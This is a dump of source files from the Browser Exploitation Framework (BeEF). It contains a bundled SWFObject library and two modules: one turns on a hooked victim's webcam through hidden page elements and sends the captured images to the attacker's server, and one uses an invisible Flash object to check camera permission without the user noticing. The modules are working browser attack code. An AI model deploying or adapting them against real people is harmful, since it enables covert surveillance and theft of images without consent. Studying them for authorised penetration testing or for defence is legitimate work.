\")[1].split(\",\");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState==\"complete\")||(typeof j.readyState==D&&(j.getElementsByTagName(\"body\")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener(\"DOMContentLoaded\",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState==\"complete\"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll(\"left\")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName(\"body\")[0].appendChild(C(\"span\"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y<X;Y++){U[Y]()}}function K(X){if(J){X()}else{U[U.length]=X}}function s(Y){if(typeof O.addEventListener!=D){O.addEventListener(\"load\",Y,false)}else{if(typeof j.addEventListener!=D){j.addEventListener(\"load\",Y,false)}else{if(typeof O.attachEvent!=D){i(O,\"onload\",Y)}else{if(typeof O.onload==\"function\"){var X=O.onload;O.onload=function(){X();Y()}}else{O.onload=Y}}}}}function h(){if(T){V()}else{H()}}function V(){var X=j.getElementsByTagName(\"body\")[0];var aa=C(r);aa.setAttribute(\"type\",q);var Z=X.appendChild(aa);if(Z){var Y=0;(function(){if(typeof Z.GetVariable!=D){var ab=Z.GetVariable(\"$version\");if(ab){ab=ab.split(\" \")[1].split(\",\");M.pv=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}else{if(Y<10){Y++;setTimeout(arguments.callee,10);return}}X.removeChild(aa);Z=null;H()})()}else{H()}}function H(){var ag=o.length;if(ag>0){for(var af=0;af<ag;af++){var Y=o[af].id;var ab=o[af].callbackFn;var aa={success:false,id:Y};if(M.pv[0]>0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute(\"width\")||\"0\";ai.height=ae.getAttribute(\"height\")||\"0\";if(ae.getAttribute(\"class\")){ai.styleclass=ae.getAttribute(\"class\")}if(ae.getAttribute(\"align\")){ai.align=ae.getAttribute(\"align\")}var ah={};var X=ae.getElementsByTagName(\"param\");var ac=X.length;for(var ad=0;ad<ac;ad++){if(X[ad].getAttribute(\"name\").toLowerCase()!=\"movie\"){ah[X[ad].getAttribute(\"name\")]=X[ad].getAttribute(\"value\")}}P(ai,ah,Y,ab)}else{p(ae);if(ab){ab(aa)}}}}}else{w(Y,true);if(ab){var Z=z(Y);if(Z&&typeof Z.SetVariable!=D){aa.success=true;aa.ref=Z}ab(aa)}}}}}function z(aa){var X=null;var Y=c(aa);if(Y&&Y.nodeName==\"OBJECT\"){if(typeof Y.SetVariable!=D){X=Y}else{var Z=Y.getElementsByTagName(r)[0];if(Z){X=Z}}}return X}function A(){return !a&&F(\"6.0.65\")&&(M.win||M.mac)&&!(M.wk&&M.wk<312)}function P(aa,ab,X,Z){a=true;E=Z||null;B={success:false,id:X};var ae=c(X);if(ae){if(ae.nodeName==\"OBJECT\"){l=g(ae);Q=null}else{l=ae;Q=X}aa.id=R;if(typeof aa.width==D||(!/%$/.test(aa.width)&&parseInt(aa.width,10)<310)){aa.width=\"310\"}if(typeof aa.height==D||(!/%$/.test(aa.height)&&parseInt(aa.height,10)<137)){aa.height=\"137\"}j.title=j.title.slice(0,47)+\" - Flash Player Installation\";var ad=M.ie&&M.win?\"ActiveX\":\"PlugIn\",ac=\"MMredirectURL=\"+O.location.toString().replace(/&/g,\"%26\")+\"&MMplayerType=\"+ad+\"&MMdoctitle=\"+j.title;if(typeof ab.flashvars!=D){ab.flashvars+=\"&\"+ac}else{ab.flashvars=ac}if(M.ie&&M.win&&ae.readyState!=4){var Y=C(\"div\");X+=\"SWFObjectNew\";Y.setAttribute(\"id\",X);ae.parentNode.insertBefore(Y,ae);ae.style.display=\"none\";(function(){if(ae.readyState==4){ae.parentNode.removeChild(ae)}else{setTimeout(arguments.callee,10)}})()}u(aa,ab,X)}}function p(Y){if(M.ie&&M.win&&Y.readyState!=4){var X=C(\"div\");Y.parentNode.insertBefore(X,Y);X.parentNode.replaceChild(g(Y),X);Y.style.display=\"none\";(function(){if(Y.readyState==4){Y.parentNode.removeChild(Y)}else{setTimeout(arguments.callee,10)}})()}else{Y.parentNode.replaceChild(g(Y),Y)}}function g(ab){var aa=C(\"div\");if(M.win&&M.ie){aa.innerHTML=ab.innerHTML}else{var Y=ab.getElementsByTagName(r)[0];if(Y){var ad=Y.childNodes;if(ad){var X=ad.length;for(var Z=0;Z<X;Z++){if(!(ad[Z].nodeType==1&&ad[Z].nodeName==\"PARAM\")&&!(ad[Z].nodeType==8)){aa.appendChild(ad[Z].cloneNode(true))}}}}}return aa}function u(ai,ag,Y){var X,aa=c(Y);if(M.wk&&M.wk<312){return X}if(aa){if(typeof ai.id==D){ai.id=Y}if(M.ie&&M.win){var ah=\"\";for(var ae in ai){if(ai[ae]!=Object.prototype[ae]){if(ae.toLowerCase()==\"data\"){ag.movie=ai[ae]}else{if(ae.toLowerCase()==\"styleclass\"){ah+=' class=\"'+ai[ae]+'\"'}else{if(ae.toLowerCase()!=\"classid\"){ah+=\" \"+ae+'=\"'+ai[ae]+'\"'}}}}}var af=\"\";for(var ad in ag){if(ag[ad]!=Object.prototype[ad]){af+='<param name=\"'+ad+'\" value=\"'+ag[ad]+'\" />'}}aa.outerHTML='<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"'+ah+\">\"+af+\"</object>\";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute(\"type\",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()==\"styleclass\"){Z.setAttribute(\"class\",ai[ac])}else{if(ac.toLowerCase()!=\"classid\"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!=\"movie\"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C(\"param\");aa.setAttribute(\"name\",X);aa.setAttribute(\"value\",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName==\"OBJECT\"){if(M.ie&&M.win){X.style.display=\"none\";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]==\"function\"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(\".\");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName(\"head\")[0];if(!aa){return}var X=(ad&&typeof ad==\"string\")?ad:\"screen\";if(ab){n=null;G=null}if(!n||G!=X){var Z=C(\"style\");Z.setAttribute(\"type\",\"text/css\");Z.setAttribute(\"media\",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+\" {\"+Y+\"}\"))}}}function w(Z,X){if(!m){return}var Y=X?\"visible\":\"hidden\";if(J&&c(Z)){c(Z).style.visibility=Y}else{v(\"#\"+Z,\"visibility:\"+Y)}}function L(Y){var Z=/[\\\\\\\"<>\\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent(\"onunload\",function(){var ac=I.length;for(var ab=0;ab<ac;ab++){I[ab][0].detachEvent(I[ab][1],I[ab][2])}var Z=N.length;for(var aa=0;aa<Z;aa++){y(N[aa])}for(var Y in M){M[Y]=null}M=null;for(var X in swfobject){swfobject[X]=null}swfobject=null})}}();return{registerObject:function(ab,X,aa,Z){if(M.w3&&ab&&X){var Y={};Y.id=ab;Y.swfVersion=X;Y.expressInstall=aa;Y.callbackFn=Z;o[o.length]=Y;w(ab,false)}else{if(Z){Z({success:false,id:ab})}}},getObjectById:function(X){if(M.w3){return z(X)}},embedSWF:function(ab,ah,ae,ag,Y,aa,Z,ad,af,ac){var X={success:false,id:ah};if(M.w3&&!(M.wk&&M.wk<312)&&ab&&ah&&ae&&ag&&Y){w(ah,false);K(function(){ae+=\"\";ag+=\"\";var aj={};if(af&&typeof af===r){for(var al in af){aj[al]=af[al]}}aj.data=ab;aj.width=ae;aj.height=ag;var am={};if(ad&&typeof ad===r){for(var ak in ad){am[ak]=ad[ak]}}if(Z&&typeof Z===r){for(var ai in Z){if(typeof am.flashvars!=D){am.flashvars+=\"&\"+ai+\"=\"+Z[ai]}else{am.flashvars=ai+\"=\"+Z[ai]}}}if(F(Y)){var an=u(aj,am,ah);if(aj.id==ah){w(ah,true)}X.success=true;X.ref=an}else{if(aa&&A()){aj.data=aa;P(aj,am,ah,ac);return}else{w(ah,true)}}if(ac){ac(X)}})}else{if(ac){ac(X)}}},switchOffAutoHideShow:function(){m=false},ua:M,getFlashPlayerVersion:function(){return{major:M.pv[0],minor:M.pv[1],release:M.pv[2]}},hasFlashPlayerVersion:F,createSWF:function(Z,Y,X){if(M.w3){return u(Z,Y,X)}else{return undefined}},showExpressInstall:function(Z,aa,X,Y){if(M.w3&&A()){P(Z,aa,X,Y)}},removeSWF:function(X){if(M.w3){y(X)}},createCSS:function(aa,Z,Y,X){if(M.w3){v(aa,Z,Y,X)}},addDomLoadEvent:K,addLoadEvent:s,getQueryParamValue:function(aa){var Z=j.location.search||j.location.hash;if(Z){if(/\\?/.test(Z)){Z=Z.split(\"?\")[1]}if(aa==null){return L(Z)}var Y=Z.split(\"&\");for(var X=0;X<Y.length;X++){if(Y[X].substring(0,Y[X].indexOf(\"=\"))==aa){return L(Y[X].substring((Y[X].indexOf(\"=\")+1)))}}}return\"\"},expressInstallCallback:function(){if(a){var X=c(R);if(X&&l){X.parentNode.replaceChild(l,X);if(Q){w(Q,true);if(M.ie&&M.win){l.style.display=\"block\"}}if(E){E(B)}}a=false}}}}();"
  },
  {
    "path": "modules/browser/webcam_html5/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\n\nbeef.execute(function() {\n    if (beef.browser.hasWebGL()) {\n        beef.debug('[Webcam HTML5] Browser supports WebGL');\n    } else {\n        beef.debug('[Webcam HTML5] Error: WebGL is not supported');\n        beef.net.send(\"<%= @command_url %>\",<%= @command_id %>, 'result=WebGL is not supported', beef.are.status_error());\n        return;\n    }\n\n    var vid_id = beef.dom.generateID();\n    var can_id = beef.dom.generateID();\n    var vid_el = beef.dom.createElement('video',{'id':vid_id,'style':'display:none;','autoplay':'true'});\n    var can_el = beef.dom.createElement('canvas',{'id':can_id,'style':'display:none;','width':'640','height':'480'});\n    $j('body').append(vid_el);\n    $j('body').append(can_el);\n\n    var ctx = can_el.getContext('2d');\n\n    var localMediaStream = null;\n    var streaming = false;\n\n    var width = 320;    // We will scale the photo width to this\n    var height = 0;     // This will be computed based on the input stream\n\n\n    var cap = function() {\n        if (localMediaStream) {\n            ctx.drawImage(vid_el,0,0,width,height);\n            beef.net.send(\"<%= @command_url %>\",<%= @command_id %>, 'image='+can_el.toDataURL('image/png'));\n        } else {\n            beef.net.send(\"<%= @command_url %>\",<%= @command_id %>, 'result=something went wrong', beef.are.status_error());\n        }\n    };\n\n    window.URL = window.URL || window.webkitURL;\n\n    // Older browsers might not implement mediaDevices at all, so we set an empty object first\n    if (navigator.mediaDevices === undefined) {\n        navigator.mediaDevices = {};\n    }\n\n    // Some browsers partially implement mediaDevices. We can't just assign an object\n    // with getUserMedia as it would overwrite existing properties.\n    // Here, we will just add the getUserMedia property if it's missing.\n    if (navigator.mediaDevices.getUserMedia === undefined) {\n        navigator.mediaDevices.getUserMedia = function(constraints) {\n\n            // First get ahold of the legacy getUserMedia, if present\n            var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;\n\n            // Some browsers just don't implement it - return a rejected promise with an error\n            // to keep a consistent interface\n            if (!getUserMedia) {\n                return Promise.reject(new Error('getUserMedia is not implemented in this browser'));\n            }\n\n            // Otherwise, wrap the call to the old navigator.getUserMedia with a Promise\n            return new Promise(function(resolve, reject) {\n                getUserMedia.call(navigator, constraints, resolve, reject);\n            });\n        }\n    }\n\n    navigator.mediaDevices.getUserMedia({video:true}).then(function(stream) {\n        if ('srcObject' in vid_el) {\n            vid_el.srcObject = stream;\n            vid_el.play();\n        } else {\n            vid_el.src = window.URL.createObjectURL(stream);\n        }\n        localMediaStream = stream;\n        vid_el.addEventListener('canplay', function(ev){\n            if (!streaming) {\n                streaming = true;\n                setTimeout(cap,2000);\n            }\n        }, false);\n    }, function(err) {\n        beef.debug('[Webcam HTML5] Error: getUserMedia call failed');\n        beef.net.send(\"<%= @command_url %>\",<%= @command_id %>, 'result=getUserMedia call failed', beef.are.status_error());\n    });\n\n    // Retrieve the chosen div option from BeEF and display\n    var choice = \"<%= @choice %>\";\n    switch (choice) {\n        case \"320x240\":\n            size320(); break;\n        case \"640x480\":\n            size640(); break;\n        case \"Full\":\n            sizeFull(); break;\n        default:\n            size320();  break;\n    }\n\n    function size320() {\n        width = 320;\n        height = 240;\n    }\n    function size640() {\n        width = 640;\n        height = 480;\n    }\n    function sizeFull() {\n        width = 1280;\n        height = 720;\n    }\n});\n\n"
  },
  {
    "path": "modules/browser/webcam_html5/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        webcam_html5:\n            enable: true\n            category: \"Browser\"\n            name: \"Webcam HTML5\"\n            description: \"This module will leverage HTML5s WebRTC to capture webcam images. Only tested in Chrome, and it will display a dialog to ask if the user wants to enable their webcam.<br /> If no image shown choose smaller image size\"\n            authors: [\"xntrik\"]\n            target:\n                 user_notify: [\"C\"]\n                 unknown: [\"All\"]\n"
  },
  {
    "path": "modules/browser/webcam_html5/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'base64'\nclass Webcam_html5 < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Screenshot size', 'store_type' => 'arraystore', 'store_fields' => ['choice'],\n        'store_data' => [['320x240'], ['640x480'], ['Full']], 'valueField' => 'choice', 'value' => '320x240', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true },\n    ]\n  end\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result'] unless @datastore['result'].nil?\n    content['image'] = @datastore['image'] unless @datastore['image'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/webcam_permission_check/cameraCheck.as",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// Source ActionScript for cameraCheck.swf\npackage {\n\n    import flash.display.Sprite;\n    import flash.external.ExternalInterface;\n    import flash.media.Camera;\n    import flash.system.Security;\n    import flash.system.SecurityPanel;\n\n    public class CamCheck extends Sprite {\n\n        var _cam:Camera;\n\n        public function CamCheck() {\n\n            if (Camera.isSupported)     {\n                this._cam = Camera.getCamera();\n\n                if (!this._cam) {\n\n\t                //Either the camera is not available or some other error has occurred\n                    ExternalInterface.call(\"naPermissions\");\n\n                } else if (this._cam.muted) {\n\n\t                //The user has not allowed access to the camera\n                    ExternalInterface.call(\"noPermissions\");\n\n                    // Uncomment this show the privacy/security settings window\n                    //Security.showSettings(SecurityPanel.PRIVACY);\n                } else {\n\n                    //The user has allowed access to the camera\n                    ExternalInterface.call(\"yesPermissions\");\n                }\n\n            } else {\n\n                //Camera Not Supported\n                ExternalInterface.call(\"naPermissions\");\n\n            }\n\n        }\n\n    }\n\n}"
  },
  {
    "path": "modules/browser/webcam_permission_check/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\nbeef.execute(function() {\n    \n       \n    //These 3 functions [naPermissions() The camera is not available or not supported\n    //\t\t\t\t\t yesPermissions() The user is allowing access to the camera / mic\n    //\t\t\t\t\tyesPermissions() The user has not allowed access to the camera / mic\n    // Flash will invoke these functions directly.\n    //var js_functions = '<script>function noPermissions() { beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=The user has not allowed  BeEF to access the camera :(\"); }; function yesPermissions() { beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=The user has  allowed  BeEF to access the camera :D\"); }; function naPermissions() { beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Camera not supported / available :/\"); }; ';\n\n    //This function is called by swfobject, if if fails to add the flash file to the page\n    \n    //js_functions += 'function swfobjectCallback(e) { if(e.success){beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Swfobject successfully added flash object to the victim page\");}else{beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Swfobject was not able to add the swf file to the page. This could mean there was no flash plugin installed.\");} };</script>';\n\n    //These functions are global so they can accessed by the cameraCheck.swf file\n\n    noPermissions = function() {\n        beef.net.send(\"<%= @command_url %>\",<%= @command_id %>,\"result=The user has not allowed BeEF to access the camera :(\");\n    }\n\n    yesPermissions = function() {\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=The user has  allowed  BeEF to access the camera :D\");\n    }\n\n    naPermissions = function() {\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Camera not supported / available :/&unmount=true\");\n    }\n\n    //After the swfobject loads the SWF file, this callback sends a status back to BeEF\n\n    var swfobjectCallback = function(e) {\n        if(e.success){\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Swfobject successfully added flash object to the victim page\");\n        } else {\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Swfobject was not able to add the swf file to the page. This could mean there was no flash plugin installed.\");\n        }\n    }\n\n\n    //This is the DIV for the flash object\n    \n    var body_flash_container = '<div id=\"main\" style=\"position:absolute;top:150px;left:80px;width:1px;height:1px;opacity:0.8;\"></div>';\n    $j('body').append(body_flash_container);\n\n    // Lets execute swfobject.js\n    // If it works, we then run it to embed the swf file into the above div\n    $j.getScript(beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/swfobject.js',function(data,txtStatus,jqxhr) {\n        var flashvars = {};\n        var parameters = {};\n        parameters.scale = \"noscale\";\n        parameters.wmode = \"opaque\";\n        parameters.allowFullScreen = \"true\";\n        parameters.allowScriptAccess = \"always\";\n        var attributes = {};\n        swfobject.embedSWF(beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/cameraCheck.swf', \"main\", \"1\", \"1\", \"9\", \"expressInstall.swf\", flashvars, parameters, attributes, swfobjectCallback);\n    });\n        \n    //A library that helps include the swf file\n    //var swfobject_script = '<script type=\"text/javascript\" src=\"'+beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/swfobject.js\"></script>'\n    \n    //This is the javascript that actually calls the swfobject library to include the swf file \n    //var include_script = '<script>var flashvars = {}; var parameters = {}; parameters.scale = \"noscale\"; parameters.wmode = \"opaque\"; parameters.allowFullScreen = \"true\"; parameters.allowScriptAccess = \"always\"; var attributes = {}; swfobject.embedSWF(\"'+beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/cameraCheck.swf\", \"main\", \"1\", \"1\", \"9\", \"expressInstall.swf\", flashvars, parameters, attributes, swfobjectCallback);</script>';\n    \n\n    //Add flash content\n    //$j('body').append(js_functions, swfobject_script, body_flash_container, include_script);\n    \n});\n\n\n\n\n\n"
  },
  {
    "path": "modules/browser/webcam_permission_check/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        webcam_permission_check:\n            enable: true\n            category: \"Browser\"\n            name: \"Webcam Permission Check\"\n            description: \"This module will check to see if the user has allowed the BeEF domain (or all domains) to access the Camera and Mic with Flash. This module is transparent and should not be detected by the user (ie. no popup requesting permission will appear)\"\n            authors: [\"@bw_z\"]\n            target:\n                 working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/webcam_permission_check/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Webcam_permission_check < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam_permission_check/cameraCheck.swf', '/cameraCheck', 'swf')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam_permission_check/swfobject.js', '/swfobject', 'js')\n  end\n\n  def post_execute\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/cameraCheck.swf')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/swfobject.js')\n  end\nend\n"
  },
  {
    "path": "modules/browser/webcam_permission_check/swfobject.js",
    "content": "/*\tSWFObject v2.2 <http://code.google.com/p/swfobject/> \n\tis released under the MIT License <http://www.opensource.org/licenses/mit-license.php> \n*/\nvar swfobject=function(){var D=\"undefined\",r=\"object\",S=\"Shockwave Flash\",W=\"ShockwaveFlash.ShockwaveFlash\",q=\"application/x-shockwave-flash\",R=\"SWFObjectExprInst\",x=\"onreadystatechange\",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\\/(\\d+(\\.\\d+)?).*$/,\"$1\")):false,X=!+\"\\v1\",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\\s+(\\S+\\s+\\S+$)/,\"$1\");ag[0]=parseInt(ab.replace(/^(.*)\\..*$/,\"$1\"),10);ag[1]=parseInt(ab.replace(/^.*\\.(.*)\\s.*$/,\"$1\"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,\"$1\"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable(\"$version\");if(ab){X=true;ab=ab.split(\" \")[1].split(\",\");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState==\"complete\")||(typeof j.readyState==D&&(j.getElementsByTagName(\"body\")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener(\"DOMContentLoaded\",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState==\"complete\"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll(\"left\")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName(\"body\")[0].appendChild(C(\"span\"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y<X;Y++){U[Y]()}}function K(X){if(J){X()}else{U[U.length]=X}}function s(Y){if(typeof O.addEventListener!=D){O.addEventListener(\"load\",Y,false)}else{if(typeof j.addEventListener!=D){j.addEventListener(\"load\",Y,false)}else{if(typeof O.attachEvent!=D){i(O,\"onload\",Y)}else{if(typeof O.onload==\"function\"){var X=O.onload;O.onload=function(){X();Y()}}else{O.onload=Y}}}}}function h(){if(T){V()}else{H()}}function V(){var X=j.getElementsByTagName(\"body\")[0];var aa=C(r);aa.setAttribute(\"type\",q);var Z=X.appendChild(aa);if(Z){var Y=0;(function(){if(typeof Z.GetVariable!=D){var ab=Z.GetVariable(\"$version\");if(ab){ab=ab.split(\" \")[1].split(\",\");M.pv=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}else{if(Y<10){Y++;setTimeout(arguments.callee,10);return}}X.removeChild(aa);Z=null;H()})()}else{H()}}function H(){var ag=o.length;if(ag>0){for(var af=0;af<ag;af++){var Y=o[af].id;var ab=o[af].callbackFn;var aa={success:false,id:Y};if(M.pv[0]>0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute(\"width\")||\"0\";ai.height=ae.getAttribute(\"height\")||\"0\";if(ae.getAttribute(\"class\")){ai.styleclass=ae.getAttribute(\"class\")}if(ae.getAttribute(\"align\")){ai.align=ae.getAttribute(\"align\")}var ah={};var X=ae.getElementsByTagName(\"param\");var ac=X.length;for(var ad=0;ad<ac;ad++){if(X[ad].getAttribute(\"name\").toLowerCase()!=\"movie\"){ah[X[ad].getAttribute(\"name\")]=X[ad].getAttribute(\"value\")}}P(ai,ah,Y,ab)}else{p(ae);if(ab){ab(aa)}}}}}else{w(Y,true);if(ab){var Z=z(Y);if(Z&&typeof Z.SetVariable!=D){aa.success=true;aa.ref=Z}ab(aa)}}}}}function z(aa){var X=null;var Y=c(aa);if(Y&&Y.nodeName==\"OBJECT\"){if(typeof Y.SetVariable!=D){X=Y}else{var Z=Y.getElementsByTagName(r)[0];if(Z){X=Z}}}return X}function A(){return !a&&F(\"6.0.65\")&&(M.win||M.mac)&&!(M.wk&&M.wk<312)}function P(aa,ab,X,Z){a=true;E=Z||null;B={success:false,id:X};var ae=c(X);if(ae){if(ae.nodeName==\"OBJECT\"){l=g(ae);Q=null}else{l=ae;Q=X}aa.id=R;if(typeof aa.width==D||(!/%$/.test(aa.width)&&parseInt(aa.width,10)<310)){aa.width=\"310\"}if(typeof aa.height==D||(!/%$/.test(aa.height)&&parseInt(aa.height,10)<137)){aa.height=\"137\"}j.title=j.title.slice(0,47)+\" - Flash Player Installation\";var ad=M.ie&&M.win?\"ActiveX\":\"PlugIn\",ac=\"MMredirectURL=\"+O.location.toString().replace(/&/g,\"%26\")+\"&MMplayerType=\"+ad+\"&MMdoctitle=\"+j.title;if(typeof ab.flashvars!=D){ab.flashvars+=\"&\"+ac}else{ab.flashvars=ac}if(M.ie&&M.win&&ae.readyState!=4){var Y=C(\"div\");X+=\"SWFObjectNew\";Y.setAttribute(\"id\",X);ae.parentNode.insertBefore(Y,ae);ae.style.display=\"none\";(function(){if(ae.readyState==4){ae.parentNode.removeChild(ae)}else{setTimeout(arguments.callee,10)}})()}u(aa,ab,X)}}function p(Y){if(M.ie&&M.win&&Y.readyState!=4){var X=C(\"div\");Y.parentNode.insertBefore(X,Y);X.parentNode.replaceChild(g(Y),X);Y.style.display=\"none\";(function(){if(Y.readyState==4){Y.parentNode.removeChild(Y)}else{setTimeout(arguments.callee,10)}})()}else{Y.parentNode.replaceChild(g(Y),Y)}}function g(ab){var aa=C(\"div\");if(M.win&&M.ie){aa.innerHTML=ab.innerHTML}else{var Y=ab.getElementsByTagName(r)[0];if(Y){var ad=Y.childNodes;if(ad){var X=ad.length;for(var Z=0;Z<X;Z++){if(!(ad[Z].nodeType==1&&ad[Z].nodeName==\"PARAM\")&&!(ad[Z].nodeType==8)){aa.appendChild(ad[Z].cloneNode(true))}}}}}return aa}function u(ai,ag,Y){var X,aa=c(Y);if(M.wk&&M.wk<312){return X}if(aa){if(typeof ai.id==D){ai.id=Y}if(M.ie&&M.win){var 